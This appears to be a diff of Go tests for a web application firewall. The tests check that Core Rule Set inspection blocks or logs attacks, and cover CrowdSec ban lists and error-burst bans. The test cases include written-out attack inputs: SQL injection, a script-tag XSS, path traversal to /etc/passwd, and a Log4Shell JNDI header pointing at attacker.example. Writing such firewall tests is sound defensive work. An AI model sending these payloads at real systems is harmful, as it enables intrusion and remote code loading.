// here, and a body over SWWAF_REQUEST_MAX_BYTES with 413 as it is read;
// check returns the refusal. A body that breaks off for any other reason
// is passed on as far as it came, and the request to the app fails there,
// as it would have without the Core Rule Set.
func (rq *request) inspect() waf.Result {
if rq.body == nil {
// Nothing is read of no body, so nothing can go wrong reading it.
result, _, _ := rq.h.coreRuleSet.Inspect(rq.in, rq.client, http.NoBody)
return result
}
_ = rq.rc.SetReadDeadline(rq.clientRequestDeadline())
result, read, err := rq.h.coreRuleSet.Inspect(rq.in, rq.client, rq.body)
// The timeouts that run while the request goes to the app take over.
_ = rq.rc.SetReadDeadline(time.Time{})
rq.body.readByCoreRuleSet = read
if errors.Is(err, os.ErrDeadlineExceeded) {
rq.refuse(refusal{
status: http.StatusRequestTimeout,
action: requestlog.ActionTimedOut,
limit: "SWWAF_CLIENT_REQUEST_TIMEOUT",
})
}
return result
}
// alertWAFBlock raises the waf_block alert for the request, which the Core
// Rule Set scored at result, at or over SWWAF_WAF_ANOMALY_THRESHOLD. Its
// detail gives the rule ids, the score, the method and the path with the
// query, and, for a request that is not refused for it, the mode: detect,
// or observe in observe mode.
func (rq *request) alertWAFBlock(result waf.Result) {
detail := map[string]any{
"rule_ids": result.RuleIDs,
"score": result.Score,
"method": rq.in.Method,
"path": rq.in.URL.RequestURI(),
}
switch {
case rq.h.config.WAFMode == config.WAFModeDetect:
detail["mode"] = config.WAFModeDetect
case rq.h.config.Observe:
detail["mode"] = "observe"
}
rq.h.alerts.Raise(alerts.Alert{
Event: alerts.EventWAFBlock,
Client: rq.client,
Netblock: rq.h.clientGroup(rq.client),
ASN: rq.line.ASN,
ASName: rq.line.ASName,
Country: rq.line.Country,
Reason: "scored by the Core Rule Set at or over SWWAF_WAF_ANOMALY_THRESHOLD",
Detail: detail,
})
}
+590
View File
@@ -0,0 +1,590 @@
package proxy_test
import (
"io"
"net/http"
"net/netip"
"slices"
"strconv"
"strings"
"testing"
"time"
"sneak.berlin/go/smallwebwaf/internal/alerts"
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
)
// The Core Rule Set's settings the tests set, besides SWWAF_WAF_MODE, and
// its two modes that inspect requests.
const (
wafAnomalyThreshold = "SWWAF_WAF_ANOMALY_THRESHOLD"
wafDisabledRules = "SWWAF_WAF_DISABLED_RULES"
wafExemptPaths = "SWWAF_WAF_EXEMPT_PATHS"
wafBodyLimit = "SWWAF_WAF_BODY_LIMIT"
block = "block"
detect = "detect"
)
// formData is the type of a form's body.
const formData = "application/x-www-form-urlencoded"
// sqlInjection asks for / with an SQL injection in its query, which only
// the Core Rule Set's rule 942100 matches, with a score of 5, the default
// SWWAF_WAF_ANOMALY_THRESHOLD.
const sqlInjection = "/?id=1'%20OR%20'1'='1"
// wantWAF checks the request log line's waf_rule_ids and waf_score, and
// that it has duration_waf, or with no score, that it has none of the
// three: the Core Rule Set did not inspect the request.
func wantWAF(t *testing.T, line logLine, score *int, ruleIDs ...int) {
t.Helper()
if !slices.Equal(line.WAFRuleIDs, ruleIDs) {
t.Errorf("log line has waf_rule_ids %v, want %v", line.WAFRuleIDs, ruleIDs)
}
switch {
case score == nil && (line.WAFScore != nil || line.DurationWAF != nil):
t.Errorf("log line has waf_score %v and duration_waf %v, want neither",
line.fields["waf_score"], line.fields["duration_waf"])
case score != nil && (line.WAFScore == nil || *line.WAFScore != *score):
t.Errorf("log line has waf_score %v, want %d", line.fields["waf_score"], *score)
case score != nil && line.DurationWAF == nil:
t.Error("log line has no duration_waf")
}
}
func TestCoreRuleSetRefusesAttacksInBlockModeAndOnlyLogsThemInDetectMode(t *testing.T) {
t.Parallel()
for _, attack := range []struct {
name, path, header string
ruleIDs []int
score int
}{
{"SQL injection in the query", sqlInjection, "", []int{942100}, 5},
{
"script in the query", "/?q=%3Cscript%3Ealert(1)%3C%2Fscript%3E", "",
[]int{941100, 941110, 941160, 941390}, 20,
},
{
"path traversal in the path", "/files/../../etc/passwd", "",
[]int{930100, 930110}, 10,
},
{
"Log4Shell in a header", "/", "X-Api-Version: ${jndi:ldap://attacker.example/a}",
[]int{944150}, 5,
},
{"scanner's user agent", "/", "User-Agent: sqlmap/1.7", []int{913100}, 5},
{
// Coraza keeps the first 1000 query parameters.
"SQL injection after 1000 query parameters",
"/?" + strings.Repeat("a=1&", 1000) + "id=1'%20OR%20'1'='1", "",
[]int{900300}, 5,
},
} {
t.Run(attack.name, func(t *testing.T) {
t.Parallel()
for _, tc := range []struct {
mode, action string
status int
}{
{block, requestlog.ActionWAFBlocked, http.StatusForbidden},
{detect, requestlog.ActionForward, http.StatusOK},
} {
s, _, _ := startWithClock(t, "", map[string]string{wafMode: tc.mode})
line, _ := s.requestWithHeader(client, attack.path, attack.header,
tc.status, tc.action)
wantWAF(t, line, &attack.score, attack.ruleIDs...)
}
})
}
}
func TestOrdinaryRequestIsInspectedAndPassed(t *testing.T) {
t.Parallel()
s, _, _ := startWithClock(t, "", map[string]string{wafMode: block})
line := s.request(client, "/owner/repo/src/branch/main/README.md?display=source",
http.StatusOK, requestlog.ActionForward)
wantWAF(t, line, new(0))
}
func TestCoreRuleSetIsNotRunWhenOffOrForAnExemptClientPathOrRuleFileRefusal(
t *testing.T,
) {
t.Parallel()
const allowed = "192.0.2.60" // in SWWAF_ALLOW_NETS
s, _, _ := startWithClock(t, "", map[string]string{
wafMode: block,
wafExemptPaths: "/api/",
allowNets: allowed,
rulesDir: writeRules(t, testRules),
})
// A client in SWWAF_ALLOW_NETS, and a path SWWAF_WAF_EXEMPT_PATHS
// exempts, are not inspected.
line := s.request(allowed, sqlInjection, http.StatusOK, requestlog.ActionForward)
wantWAF(t, line, nil)
line = s.request(client, "/api/v1/repos?id=1'%20OR%20'1'='1", http.StatusOK,
requestlog.ActionForward)
wantWAF(t, line, nil)
// The prefix is matched as rate limit exempt paths are: a path that
// goes up and out of it is inspected.
line = s.request(client, "/api/../?id=1'%20OR%20'1'='1", http.StatusForbidden,
requestlog.ActionWAFBlocked)
wantWAF(t, line, new(25), 930100, 930110, 942100)
// A request a rule file refuses is not inspected.
line = s.request(otherClient, "/blocked?id=1'%20OR%20'1'='1", http.StatusForbidden,
requestlog.ActionRuleBlocked)
wantWAF(t, line, nil)
// With SWWAF_WAF_MODE off, no request is.
s, _, _ = startWithClock(t, "", map[string]string{wafMode: off})
line = s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
wantWAF(t, line, nil)
}
func TestAnomalyThreshold(t *testing.T) {
t.Parallel()
// A score under the threshold, or with the threshold off, is logged,
// and refuses nothing.
for _, threshold := range []string{"6", off} {
s, _, _ := startWithClock(t, "", map[string]string{
wafMode: block, wafAnomalyThreshold: threshold,
})
line := s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
wantWAF(t, line, new(5), 942100)
}
s, _, _ := startWithClock(t, "", map[string]string{
wafMode: block, wafAnomalyThreshold: "5",
})
s.request(client, sqlInjection, http.StatusForbidden, requestlog.ActionWAFBlocked)
}
func TestDisabledRulesSwitchOffWhatGiteaWouldBeRefused(t *testing.T) {
t.Parallel()
for _, request := range []struct {
name, method, path, header string
// ruleIDs are the rules that match the request with none
// switched off.
ruleIDs []int
}{
{
"git push", http.MethodPost, "/owner/repo.git/git-receive-pack",
"Content-Type: application/x-git-receive-pack-request\r\nContent-Length: 4",
[]int{920420, 930130},
},
{
"package upload without a type", http.MethodPut,
"/api/packages/owner/generic/tool/1.0/tool.tar.gz", "Content-Length: 4",
[]int{920340},
},
{
"a shell script", http.MethodGet, "/owner/repo/raw/branch/main/install.sh", "",
[]int{920440},
},
{
"an editor's settings", http.MethodGet,
"/owner/repo/src/branch/main/.zed/settings.json", "", []int{930140},
},
} {
t.Run(request.name, func(t *testing.T) {
t.Parallel()
body := ""
if request.method != http.MethodGet {
body = "push"
}
// By default, the rules are switched off.
s, _, _ := startWithClock(t, "", map[string]string{wafMode: block})
line, _ := s.requestWithBody(request.method, client, request.path,
request.header, body, http.StatusOK, requestlog.ActionForward)
wantWAF(t, line, new(0))
// A list given replaces the default.
s, _, _ = startWithClock(t, "", map[string]string{
wafMode: block, wafDisabledRules: "942100",
})
score := 5 * len(request.ruleIDs)
line, _ = s.requestWithBody(request.method, client, request.path,
request.header, body, http.StatusForbidden, requestlog.ActionWAFBlocked)
wantWAF(t, line, &score, request.ruleIDs...)
// And switches off the rules it lists.
line = s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
wantWAF(t, line, new(0))
})
}
}
func TestAttackInAFormBodyIsRefusedOnlyWhileBodiesAreRead(t *testing.T) {
t.Parallel()
const body = "id=1'%20OR%20'1'='1"
header := "Content-Type: " + formData + "\r\nContent-Length: " +
strconv.Itoa(len(body))
s, _, _ := startWithClock(t, "", map[string]string{wafMode: block})
line, _ := s.requestWithBody(http.MethodPost, client, "/", header, body,
http.StatusOK, requestlog.ActionForward)
wantWAF(t, line, new(0))
s, _, _ = startWithClock(t, "", map[string]string{
wafMode: block, wafBodyLimit: sizeLimitSetting,
})
line, _ = s.requestWithBody(http.MethodPost, client, "/", header, body,
http.StatusForbidden, requestlog.ActionWAFBlocked)
wantWAF(t, line, new(5), 942100)
}
func TestBodiesReachTheAppAsSentWhileBodiesAreRead(t *testing.T) {
t.Parallel()
// The app answers with the body it was sent, once it has the whole of
// it: Go's server reads no more of a body once the answer has begun.
app := startApp(t, func(w http.ResponseWriter, r *http.Request) {
body, _ := io.ReadAll(r.Body)
_, _ = w.Write(body)
})
addr, out := startProxy(t, app.URL, map[string]string{
wafMode: block, wafBodyLimit: sizeLimitSetting,
})
longer := "a=" + strings.Repeat("b", 64*sizeLimit)
for i, tc := range []struct {
name, contentType, body string
// announced sends the body's length in Content-Length; otherwise
// the body is sent in chunks with no length given.
announced bool
}{
{"form data within the limit", formData, "a=b", true},
{"form data longer than the limit", formData, longer, true},
{"form data longer than the limit, not announced", formData, longer, false},
{
"JSON larger than the limit", "application/json",
`{"a":"` + strings.Repeat("b", 2*sizeLimit) + `"}`, true,
},
{
"a binary body", "application/octet-stream",
strings.Repeat("\x00\xff", sizeLimit), true,
},
} {
// A reader whose length the client cannot tell is sent in chunks.
var body io.Reader = strings.NewReader(tc.body)
if !tc.announced {
body = io.MultiReader(body)
}
req := newRequest(t, http.MethodPost, addr, "/", body)
req.Header.Set("Content-Type", tc.contentType)
got := do(t, req)
if got.status != http.StatusOK || string(got.body) != tc.body {
t.Errorf("%s: the app got %d bytes, answered %d, want the %d sent, 200",
tc.name, len(got.body), got.status, len(tc.body))
}
line := out.requestLines(t, i+1)[i]
wantLine(t, line, http.StatusOK, requestlog.ActionForward)
if line.RequestBytes != int64(len(tc.body)) {
t.Errorf("%s: log line has request_bytes %d, want %d", tc.name,
line.RequestBytes, len(tc.body))
}
}
}
func TestFormBodyLongerThanTheLimitStreamsOnToTheApp(t *testing.T) {
t.Parallel()
const (
first = "a=" // and twice the limit of b's, then the rest
rest = 64 * sizeLimit
)
// past is closed once the app has received twice what the Core Rule
// Set reads, and got is the length of the whole body it received.
past := make(chan struct{})
got := make(chan int64, 1)
app := startApp(t, func(_ http.ResponseWriter, r *http.Request) {
n, _ := io.CopyN(io.Discard, r.Body, 2*sizeLimit)
close(past)
m, _ := io.Copy(io.Discard, r.Body)
got <- n + m
})
addr, out := startProxy(t, app.URL, map[string]string{
wafMode: block, wafBodyLimit: sizeLimitSetting,
})
// The client sends the rest only once the app has received the first
// part: were smallwebwaf to hold the body until the end, it would
// never come.
body, sender := io.Pipe()
go func() {
_, _ = io.WriteString(sender, first+strings.Repeat("b", 2*sizeLimit))
select {
case <-past:
case <-time.After(waitLimit):
t.Error("the app got no more than the Core Rule Set reads " +
"before the whole body was sent")
_ = sender.CloseWithError(io.ErrUnexpectedEOF)
return
}
_, _ = io.WriteString(sender, strings.Repeat("b", rest))
_ = sender.Close()
}()
req := newRequest(t, http.MethodPost, addr, "/", body)
req.Header.Set("Content-Type", formData)
wantStatus(t, do(t, req), http.StatusOK)
want := int64(len(first) + 2*sizeLimit + rest)
if n := <-got; n != want {
t.Errorf("the app got %d bytes, want %d", n, want)
}
wantLine(t, out.requestLine(t), http.StatusOK, requestlog.ActionForward)
}
func TestClientTooSlowToSendWhatTheCoreRuleSetReads(t *testing.T) {
t.Parallel()
app := startApp(t, func(http.ResponseWriter, *http.Request) {})
addr, out := startProxy(t, app.URL, map[string]string{
wafMode: block, wafBodyLimit: sizeLimitSetting,
clientRequestTimeout: shortTimeoutSetting, metricsToken: token,
})
conn := dial(t, addr)
send(t, conn, "POST /comment HTTP/1.1\r\nHost: app\r\nContent-Type: "+formData+
"\r\nContent-Length: 100\r\n\r\ncontent=the first bytes")
wantStatus(t, readResponse(t, conn), http.StatusRequestTimeout)
line := out.requestLine(t)
wantLine(t, line, http.StatusRequestTimeout, requestlog.ActionTimedOut)
wantNotSentToTheApp(t, line)
wantLimitHits(t, addr, clientRequestTimeout, 1)
}
func TestBodyOverTheSizeLimitWhileTheCoreRuleSetReadsIt(t *testing.T) {
t.Parallel()
app := startApp(t, func(http.ResponseWriter, *http.Request) {})
addr, out := startProxy(t, app.URL, map[string]string{
wafMode: block, wafBodyLimit: "4K",
requestMaxBytes: sizeLimitSetting, metricsToken: token,
})
// Sent in chunks, its length is not announced, and is found to be over
// the limit as the Core Rule Set reads it.
body := io.MultiReader(strings.NewReader("a=" + strings.Repeat("b", 2*sizeLimit)))
req := newRequest(t, http.MethodPost, addr, "/", body)
req.Header.Set("Content-Type", formData)
wantStatus(t, do(t, req), http.StatusRequestEntityTooLarge)
line := out.requestLine(t)
wantLine(t, line, http.StatusRequestEntityTooLarge, requestlog.ActionTooLarge)
wantNotSentToTheApp(t, line)
wantLimitHits(t, addr, requestMaxBytes, 1)
}
// wantNotSentToTheApp checks that the request of line was not sent to the
// app at all.
func wantNotSentToTheApp(t *testing.T, line logLine) {
t.Helper()
_, sent := line.fields["duration_upstream_total"]
if sent {
t.Error("log line has duration_upstream_total, for a request sent to the app")
}
}
func TestResponsesAreNotInspected(t *testing.T) {
t.Parallel()
// A raw shell script, and an SQL error, which the Core Rule Set's rules
// for responses take for a leak.
const page = "#!/bin/sh\nrm -rf /tmp/build\n" +
"You have an error in your SQL syntax; check the manual that " +
"corresponds to your MySQL server version\n"
app := startApp(t, func(w http.ResponseWriter, _ *http.Request) {
_, _ = w.Write([]byte(page))
})
addr, out := startProxy(t, app.URL, map[string]string{wafMode: block})
got := get(t, addr, "/owner/repo/raw/branch/main/build.sh")
if got.status != http.StatusOK || string(got.body) != page {
t.Errorf("answered %d with %q, want 200 with the app's page", got.status, got.body)
}
wantLine(t, out.requestLine(t), http.StatusOK, requestlog.ActionForward)
}
func TestCoreRuleSetRefusalIsAnOffenceAndCountsTowardTheErrorBurst(t *testing.T) {
t.Parallel()
const scraper = "192.0.2.200"
s, _, server := startWithClock(t, "", map[string]string{
wafMode: block, errorBurstThreshold: "2", metricsToken: token,
})
for range 2 {
s.request(client, sqlInjection, http.StatusForbidden, requestlog.ActionWAFBlocked)
}
// The third refusal in a minute breaks the error burst, and bans the
// client.
line := s.request(client, sqlInjection, http.StatusForbidden,
requestlog.ActionWAFBlocked)
if line.LimitHit != requestlog.LimitHitErrorBurst ||
line.Offence != requestlog.OffenceLimit {
t.Errorf("log line has limit_hit %q and offence %q, want error_burst and limit",
line.LimitHit, line.Offence)
}
s.get(client, http.StatusForbidden, requestlog.ActionBanned)
want := ratelimit.Offences{Limit: 1, WAFBlocked: 3}
if offences := historyOf(t, server, client).Offences; offences != want {
t.Errorf("history counts the offences %+v, want %+v", offences, want)
}
metrics := s.scrape(scraper)
wantMetric(t, metrics,
`smallwebwaf_waf_matches_total{instance="app",mode="block",rule_id="942100"}`, 3)
wantMetric(t, metrics,
`smallwebwaf_offences_total{instance="app",kind="waf_blocked"}`, 3)
wantMetric(t, metrics, `smallwebwaf_requests_total{action="waf_blocked",`+
`instance="app",status_class="4xx"}`, 3)
}
func TestDetectModeMatchIsNoOffenceAndNotCountedTowardTheErrorBurst(t *testing.T) {
t.Parallel()
const scraper = "192.0.2.200"
s, _, server := startWithClock(t, "", map[string]string{
wafMode: detect, errorBurstThreshold: "2", metricsToken: token,
})
for range 3 {
s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
}
s.get(client, http.StatusOK, requestlog.ActionForward)
offences := historyOf(t, server, client).Offences
if offences != (ratelimit.Offences{}) {
t.Errorf("history counts the offences %+v, want none", offences)
}
metrics := s.scrape(scraper)
wantMetric(t, metrics,
`smallwebwaf_waf_matches_total{instance="app",mode="detect",rule_id="942100"}`, 3)
wantNoSeries(t, metrics,
`smallwebwaf_offences_total{instance="app",kind="waf_blocked"}`)
}
func TestObserveModeLogsWhatTheCoreRuleSetWouldDo(t *testing.T) {
t.Parallel()
s, _, server := startWithClock(t, "", map[string]string{wafMode: block, mode: observe})
line := s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
wantWouldAction(t, line, requestlog.ActionWAFBlocked)
wantWAF(t, line, new(5), 942100)
// It is an offence as in enforce mode.
want := ratelimit.Offences{WAFBlocked: 1}
if offences := historyOf(t, server, client).Offences; offences != want {
t.Errorf("history counts the offences %+v, want %+v", offences, want)
}
}
func TestCoreRuleSetMatchRaisesTheWAFBlockAlert(t *testing.T) {
t.Parallel()
for _, tc := range []struct {
name string
env map[string]string
// status and action are what the request is answered and logged
// with, and alertMode what the alert's detail gives as mode, if
// anything.
status int
action, alertMode string
}{
{
"block", map[string]string{wafMode: block},
http.StatusForbidden, requestlog.ActionWAFBlocked, "",
},
{
"detect", map[string]string{wafMode: detect},
http.StatusOK, requestlog.ActionForward, detect,
},
{
"block in observe mode", map[string]string{wafMode: block, mode: observe},
http.StatusOK, requestlog.ActionForward, observe,
},
} {
t.Run(tc.name, func(t *testing.T) {
t.Parallel()
s, clk, _, queue := startWithAlerts(t, tc.env)
// The second is a repeat, which the cooldown holds back, and an
// ordinary request raises none.
for range 2 {
s.request(client, sqlInjection, tc.status, tc.action)
}
s.get(client, http.StatusOK, requestlog.ActionForward)
detail := map[string]any{
"rule_ids": []int{942100}, "score": 5, "method": http.MethodGet,
"path": sqlInjection,
}
if tc.alertMode != "" {
detail["mode"] = tc.alertMode
}
wantAlerts(t, queue, alerts.Alert{
Instance: alertInstance,
Time: clk.Now(),
Event: alerts.EventWAFBlock,
Client: netip.MustParseAddr(client),
Netblock: netip.MustParsePrefix(client + "/32"),
Reason: "scored by the Core Rule Set at or over SWWAF_WAF_ANOMALY_THRESHOLD",
Detail: detail,
})
if queue.Suppressed() != 1 {
t.Errorf("%d alerts held back, want the repeat", queue.Suppressed())
}
})
}
}
+9 -3
View File
@@ -52,7 +52,7 @@ func TestCountryLists(t *testing.T) {
calls.Add(1) calls.Add(1)
}) })
geojsURL, _ := startGeoJS(t) geojsURL, _ := startGeoJS(t)
env := map[string]string{trustedProxies: trustLocalhost} env := map[string]string{trustedProxies: trustLocalhost, lookupTimeout: "1h"}
maps.Copy(env, tc.env) maps.Copy(env, tc.env)
addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, env) addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, env)
@@ -101,6 +101,7 @@ func TestCountryRefusalComesBeforeTheBody(t *testing.T) {
geojsURL, _ := startGeoJS(t) geojsURL, _ := startGeoJS(t)
addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, map[string]string{ addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, map[string]string{
trustedProxies: trustLocalhost, trustedProxies: trustLocalhost,
lookupTimeout: "1h",
deniedCountries: "kp", deniedCountries: "kp",
}) })
@@ -147,6 +148,7 @@ func TestRequestRefusedByCountryIsNotCounted(t *testing.T) {
app := startApp(t, func(http.ResponseWriter, *http.Request) {}) app := startApp(t, func(http.ResponseWriter, *http.Request) {})
addr, _ := startProxyWithGeoJS(t, app.URL, geojs.URL, map[string]string{ addr, _ := startProxyWithGeoJS(t, app.URL, geojs.URL, map[string]string{
trustedProxies: trustLocalhost, trustedProxies: trustLocalhost,
lookupTimeout: "1h",
allowedCountries: "de", allowedCountries: "de",
rateLimitPerMinute: "1", rateLimitPerMinute: "1",
}) })
@@ -194,7 +196,7 @@ func TestPrivateAddressIsNeverLookedUp(t *testing.T) {
app := startApp(t, func(http.ResponseWriter, *http.Request) {}) app := startApp(t, func(http.ResponseWriter, *http.Request) {})
geojsURL, asked := startGeoJS(t) geojsURL, asked := startGeoJS(t)
env := map[string]string{trustedProxies: trustLocalhost} env := map[string]string{trustedProxies: trustLocalhost, lookupTimeout: "1h"}
maps.Copy(env, tc.env) maps.Copy(env, tc.env)
addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, env) addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, env)
@@ -280,7 +282,11 @@ func TestExclusiveListRefusesAPrivateAddressUnlessAllowed(t *testing.T) {
// startGeoJS starts a stand-in for GeoJS, which places fromDE and fromKP, // startGeoJS starts a stand-in for GeoJS, which places fromDE and fromKP,
// each in an AS of its own, and no other address. It returns its URL, and // each in an AS of its own, and no other address. It returns its URL, and
// what returns the addresses it has been asked about. // what returns the addresses it has been asked about. A test that needs
// the stand-in to be asked or to answer sets SWWAF_LOOKUP_TIMEOUT to an
// hour, whether or not a request waits for the answer: on the default
// second, a hold-up of the test process can abandon the request to the
// stand-in, and leave the client unknown.
func startGeoJS(t *testing.T) (string, func() []string) { func startGeoJS(t *testing.T) (string, func() []string) {
t.Helper() t.Helper()
+181
View File
@@ -0,0 +1,181 @@
package proxy_test
import (
"net/http"
"net/netip"
"reflect"
"testing"
"time"
"sneak.berlin/go/smallwebwaf/internal/alerts"
"sneak.berlin/go/smallwebwaf/internal/bans"
"sneak.berlin/go/smallwebwaf/internal/proxy"
"sneak.berlin/go/smallwebwaf/internal/reputation"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
)
// The CrowdSec settings, and the tests' engine, which is never asked: each
// test puts in the copy of its decision list, at decisionsURL, that it
// needs, as reputation.json would at start.
const (
crowdSecURL = "SWWAF_CROWDSEC_LAPI_URL"
crowdSecKey = "SWWAF_CROWDSEC_LAPI_KEY"
lapi = "http://crowdsec.example:8080"
decisionsURL = lapi + "/v1/decisions"
bouncerKey = "crowdsec-key-0123456789abcdef"
)
func TestClientTheCrowdSecDecisionListListsIsBannedUntilTheDecisionEnds(t *testing.T) {
t.Parallel()
s, clk, server, queue := startWithAlerts(t, map[string]string{
crowdSecURL: lapi, crowdSecKey: bouncerKey, metricsToken: token,
})
// client had four hours left on its decision as the engine answered.
fetched := clk.Now()
loadDecisions(t, server, fetched, `[{"duration": "4h0m0s", `+
`"scenario": "crowdsecurity/ssh-bf", "scope": "Ip", "type": "ban", `+
`"value": "`+client+`"}]`)
expires := requestlog.FormatTime(fetched.Add(4 * time.Hour))
// Its first request is refused, and bans it until the decision ends.
line := s.get(client, http.StatusForbidden, requestlog.ActionBanned)
wantReputation(t, line, decisionsURL)
if line.BanExpires != expires {
t.Errorf("log line has ban_expires %q, want %s", line.BanExpires, expires)
}
listed := []bans.ReputationHit{{Source: decisionsURL}}
held := server.Ledger.Bans(netip.MustParsePrefix(client + "/32"))
if len(held) != 1 || held[0].Cause != bans.CauseCrowdSec ||
!held[0].Start.Equal(fetched) || !held[0].Expires.Equal(fetched.Add(4*time.Hour)) ||
held[0].Reason != "CrowdSec's decision for crowdsecurity/ssh-bf" ||
!reflect.DeepEqual(held[0].Notes.Reputation, listed) ||
held[0].Notes.Request.Path != "/" || held[0].Notes.Requests != 1 {
t.Fatalf("bans %+v, want one for crowdsec of four hours, with the list and "+
"the request in its notes", held)
}
// The listing raises a reputation_hit alert, and the ban its own.
waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
if len(waiting) != 2 || waiting[0].Event != alerts.EventReputationHit ||
waiting[0].Reason != "listed by the CrowdSec decision list" ||
!reflect.DeepEqual(waiting[1], banAlert(alerts.EventBan, fetched, client, held[0],
expires)) {
t.Errorf("alerts waiting %+v, want a reputation_hit alert, then the ban's",
waiting)
}
// Each request while the ban lasts is refused under it, as under any
// ban, and once it has ended the client is let through.
clk.advance(4*time.Hour - time.Second)
line = s.get(client, http.StatusForbidden, requestlog.ActionBanned)
wantReputation(t, line)
if line.BanExpires != expires {
t.Errorf("log line has ban_expires %q, want %s", line.BanExpires, expires)
}
clk.advance(time.Second)
s.get(client, http.StatusOK, requestlog.ActionForward)
// The ban and the hit are counted, and the list has the metrics of any
// list fetched from a URL.
metrics := s.scrape(unplaced)
labels := `{instance="` + alertInstance + `",source="` + decisionsURL + `"}`
wantMetric(t, metrics, `smallwebwaf_bans_made_total{cause="crowdsec",`+
`instance="`+alertInstance+`"}`, 1)
wantMetric(t, metrics, "smallwebwaf_reputation_hits_total"+labels, 1)
wantMetric(t, metrics, "smallwebwaf_reputation_failures_total"+labels, 0)
wantMetric(t, metrics, "smallwebwaf_reputation_last_fetch_timestamp_seconds"+labels,
float64(fetched.Unix()))
}
func TestEndedCrowdSecDecisionNoLongerBansThoughTheCopyStillHoldsIt(t *testing.T) {
t.Parallel()
s, clk, server := startWithClock(t, "", map[string]string{
crowdSecURL: lapi, crowdSecKey: bouncerKey,
})
// 198.51.100.0/24 and 2001:db8::9 had a minute left as the engine
// answered.
fetched := clk.Now()
loadDecisions(t, server, fetched, `[{"duration": "1m0s", `+
`"scenario": "crowdsecurity/http-probing", "scope": "Range", "type": "ban", `+
`"value": "198.51.100.0/24"}, {"duration": "1m0s", `+
`"scenario": "crowdsecurity/http-probing", "scope": "Ip", "type": "ban", `+
`"value": "2001:db8::9"}]`)
// Just before its end, the decision bans a client in the netblock, and
// one on an IPv6 address bans the address's group, the /64.
clk.advance(time.Minute - time.Nanosecond)
s.get("198.51.100.7", http.StatusForbidden, requestlog.ActionBanned)
s.get("2001:db8::9", http.StatusForbidden, requestlog.ActionBanned)
s.get("2001:db8::5", http.StatusForbidden, requestlog.ActionBanned)
// Once it has ended, it bans no other client, and the bans it made end
// with it.
clk.advance(time.Nanosecond)
for _, from := range []string{"198.51.100.8", "198.51.100.7", "2001:db8::5"} {
wantReputation(t, s.get(from, http.StatusOK, requestlog.ActionForward))
}
if made := server.Ledger.Made(bans.CauseCrowdSec); made != 2 {
t.Errorf("%d bans made for crowdsec, want 2, on 198.51.100.7/32 and "+
"2001:db8::/64", made)
}
if held := server.Ledger.Bans(netip.MustParsePrefix("2001:db8::/64")); len(held) != 1 {
t.Errorf("bans of 2001:db8::/64 %+v, want one", held)
}
}
func TestObserveModeForwardsAClientTheCrowdSecDecisionListListsAndAlertsTheBan(
t *testing.T,
) {
t.Parallel()
s, clk, server, queue := startWithAlerts(t, map[string]string{
crowdSecURL: lapi, crowdSecKey: bouncerKey, mode: observe,
})
loadDecisions(t, server, clk.Now(), `[{"duration": "4h0m0s", `+
`"scenario": "crowdsecurity/ssh-bf", "scope": "Ip", "type": "ban", `+
`"value": "`+client+`"}]`)
line := s.get(client, http.StatusOK, requestlog.ActionForward)
wantWouldAction(t, line, requestlog.ActionBanned)
wantReputation(t, line, decisionsURL)
if held := server.Ledger.Snapshot(); len(held) != 0 {
t.Errorf("bans %+v, want none", held)
}
waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
if len(waiting) != 2 || waiting[1].Event != alerts.EventBan ||
waiting[1].Detail["cause"] != bans.CauseCrowdSec ||
waiting[1].Detail["mode"] != observe {
t.Errorf("alerts waiting %+v, want a reputation_hit alert, then the ban alert "+
"marked observe", waiting)
}
}
// loadDecisions puts into server's lists the copy of the decision list at
// decisionsURL, answer, the engine's answer, fetched at fetched, as
// reputation.json would at start.
func loadDecisions(
t *testing.T, server *proxy.Server, fetched time.Time, answer string,
) {
t.Helper()
err := server.Lists.Load([]reputation.List{{
URL: decisionsURL, Tried: fetched, Fetched: fetched, Lines: []string{answer},
}})
if err != nil {
t.Fatalf("load the decision list: %v", err)
}
}
+395
View File
@@ -0,0 +1,395 @@
package proxy_test
import (
"maps"
"net/http"
"net/netip"
"reflect"
"testing"
"time"
"sneak.berlin/go/smallwebwaf/internal/alerts"
"sneak.berlin/go/smallwebwaf/internal/bans"
"sneak.berlin/go/smallwebwaf/internal/proxy"
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
)
const errorBurstThreshold = "SWWAF_ERROR_BURST_THRESHOLD"
// refused is a request the tests here send, which smallwebwaf refuses
// after a rule file match, or for a missing or wrong token.
type refused int
const (
// blockRule is a request testRules' block rule refuses with 403.
blockRule refused = iota
// banRule is one its ban rule refuses with 403, and bans the client
// for.
banRule
// noMetricsToken is one for the metrics without a token, and
// wrongAdminToken one for the bans with the metrics token, each
// refused with 401.
noMetricsToken
wrongAdminToken
)
// send sends r from the client at from, checks its answer and log line as
// sender.request does, and returns the line.
func (r refused) send(s *sender, from string) logLine {
s.t.Helper()
switch r {
case blockRule:
return s.request(from, blockedPath, http.StatusForbidden,
requestlog.ActionRuleBlocked)
case banRule:
return s.request(from, probePath, http.StatusForbidden, requestlog.ActionBanned)
case noMetricsToken:
return s.request(from, proxy.MetricsPath, http.StatusUnauthorized,
requestlog.ActionAdmin)
case wrongAdminToken:
line, _ := s.requestWithHeader(from, proxy.BansPath, "Authorization: "+bearer,
http.StatusUnauthorized, requestlog.ActionAdmin)
return line
}
s.t.Fatalf("no request for the refusal %d", r)
return logLine{}
}
// startForErrorBurst is startWithClock with testRules, both tokens and
// SWWAF_ERROR_BURST_THRESHOLD at threshold, and the settings in env.
func startForErrorBurst(
t *testing.T, threshold string, env map[string]string,
) (*sender, *clock, *proxy.Server) {
t.Helper()
settings := map[string]string{
errorBurstThreshold: threshold,
